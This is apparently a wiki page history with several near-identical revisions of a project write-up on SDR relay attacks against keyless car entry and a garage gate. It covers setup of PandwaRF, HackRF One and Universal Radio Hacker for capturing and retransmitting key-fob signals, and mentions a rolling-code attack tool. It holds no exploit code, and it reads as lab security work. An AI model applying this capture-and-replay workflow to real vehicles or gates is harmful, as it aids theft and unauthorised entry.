* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-14T08:33:42Z

AAmmann: /* Introduction */

== Introduction ==

We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.
Therefore, we got 2 possibilities:

''' 1. The car is sending a LF signal with some kind of “wake up signal”. '''
# The car is sending permanent wake up signals.
# If a “keyless entry key” is in the near of, an “Acknowledgement” is transmitted to the car.
# If the key and car fits together, an ID check is going to start.
# The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.
'''2. The car sends a LF signal with a car ID. '''
# Periodically a LF signal is transmitted by the car.
# If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits, the car is going to open.

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/

''' Step 2 '''
** Driver Installation on HackRF One
#Download Zadig https://zadig.akeo.ie/
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well, but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-12T18:44:13Z

AAmmann: /* Requirements */

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*PandwaRF App for Android. (Must be a device with latest Android version installed)

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License". Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

''' Step 1 '''

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

* Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website
#Download e.g. Etcher to flash the image on the USB stick to make it bootable
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website

''' Step 2 '''
** Driver Installation on HackRF One
#Download Zadig
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh
* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well, but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-12T18:41:44Z

AAmmann: /* Requirements */

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

We used 3 different devices for the penetration-testing of a car and a gate.

''' Hardware '''
*HackRF-One
*PandwaRF
*Nooelec SDR (No transmission possible)
*Car
*Garage gate

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*Universal Radio Hacker.
*PandwaRF App for Android. (Must be a device with latest Android version installed)

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License. Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

* Step 1

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

** Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website
#Download e.g. Etcher to flash the image on the USB stick to make it bootable
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website

* Step 2
** Driver Installation on HackRF One
#Download Zadig
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh

* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well, but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-12T18:41:11Z

AAmmann: /* Pentesting with HackRF one */

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

We used 3 different devices for the penetration-testing of a car and a gate.

''' Hardware '''
*HackRF-One
*PandwaRF
*Nooelec SDR (No transmission possible)
*Car
*Garage gate

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*Universal Radio Hacker.
*PandwaRF App for Android. (Must be a device with latest Android version installed)

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License. Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

* Step 1

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

** Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website
#Download e.g. Etcher to flash the image on the USB stick to make it bootable
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website

* Step 2
** Driver Installation on HackRF One
#Download Zadig
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh

* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well, but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-12T18:40:42Z

AAmmann: /* Pentesting with HackRF one */

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

We used 3 different devices for the penetration-testing of a car and a gate.

''' Hardware '''
*HackRF-One
*PandwaRF
*Nooelec SDR (No transmission possible)
*Car
*Garage gate

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*Universal Radio Hacker.
*PandwaRF App for Android. (Must be a device with latest Android version installed)

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License. Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

* Step 1

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

** Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website
#Download e.g. Etcher to flash the image on the USB stick to make it bootable
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website

* Step 2
** Driver Installation on HackRF One
#Download Zadig
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh

* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
** The device settings are listed below:
# Choose HackRF
# Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well, but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-12T18:40:00Z

AAmmann: /* Pentesting with HackRF one */

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

We used 3 different devices for the penetration-testing of a car and a gate.

''' Hardware '''
*HackRF-One
*PandwaRF
*Nooelec SDR (No transmission possible)
*Car
*Garage gate

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*Universal Radio Hacker.
*PandwaRF App for Android. (Must be a device with latest Android version installed)

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License. Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

* Step 1

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

** Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage
#Download Kali image from official website
#Download e.g. Etcher to flash the image on the USB stick to make it bootable
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.
#For further information follow the instructions on the official website

* Step 2
** Driver Installation on HackRF One
#Download Zadig
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh

* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
** The device settings are listed below:
## Choose HackRF
## Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well, but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]

Software-defined radio (SDR): Relay Attacks

2022-07-12T18:39:42Z

AAmmann: /* Pentesting with HackRF one */

== Summary ==

This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements.

== Requirements ==

We used 3 different devices for the penetration-testing of a car and a gate.

''' Hardware '''
*HackRF-One
*PandwaRF
*Nooelec SDR (No transmission possible)
*Car
*Garage gate

''' Software '''
*Computer with native Kali-Linux installed.
*License for PandwaRF.
*Universal Radio Hacker.
*PandwaRF App for Android. (Must be a device with latest Android version installed)

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

=== Pentesting with PandwaRF ===

''' Step 1 '''

#Install the application on your Android Phone.
#Open the Device.
#Install the antennas. (Never use a SDR Device without antennas.)
#Connect the PandwaRF via USB-C to your phone.
#Open the application.

''' Step 2 '''

#The device should have connected with your application. If not, do it manually in the search tab.
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency.
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze.
#In order to transmit a captured signal, you need to buy a "Kaiju License. Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code.

=== Pentesting with HackRF one ===

* Step 1

#Set up a laptop with native kali linux
#If you want dual boot on your local machine use these instructions

** Dualboot on windows machine

#You need a USB stick with a minimum of 8gb storage

#Download Kali image from official website

#Download e.g. Etcher to flash the image on the USB stick to make it bootable

#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.

#For further information follow the instructions on the official website

* Step 2
** Driver Installation on HackRF One
#Download Zadig
#Only compatible with Windows

* Set-up HackRF on Linux
# Sudo apt-get update
# Sudo apt-get -y install hackrf

Download Universal Radio Hacker on Linux machine
* First method
# Sudo python3 -m pip install –upgrade pip
# Sudo python3 -m pip install urh
* Second method
# Sudo apt -y install urh

* Third method
# git clone https://github.com/jopohl/urh
# cd urh
# python setup.py install
* Start Universal Radio Hacker with the command “urh”
** The device settings are listed below:
## Choose HackRF
## Enter the frequency

=== Nesdr Smart – receive only ===

''' Step 1 '''

Install the driver with zadig (detailed information in the HackRF One section)

''' Step 2 '''

Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!

== Used Hardware ==

* HackRF One
* PandwaRF
* Nooelec SDR

== Conclusion ==
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well, but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.

== References ==

* https://www.youtube.com/watch?v=5CsD8I396wo&t=327s
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems
* https://www.youtube.com/watch?v=XrRGDQ2IzDE
* https://en.wikipedia.org/wiki/Remote_keyless_system
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines
* https://rolling.pandwarf.com/
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/
* https://installati.one/ubuntu/20.04/hackrf/
* https://zadig.akeo.ie/
* https://www.kali.org/docs/usb/live-usb-install-with-linux/
* https://www.balena.io/etcher/
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/

[[Category:Documentation]]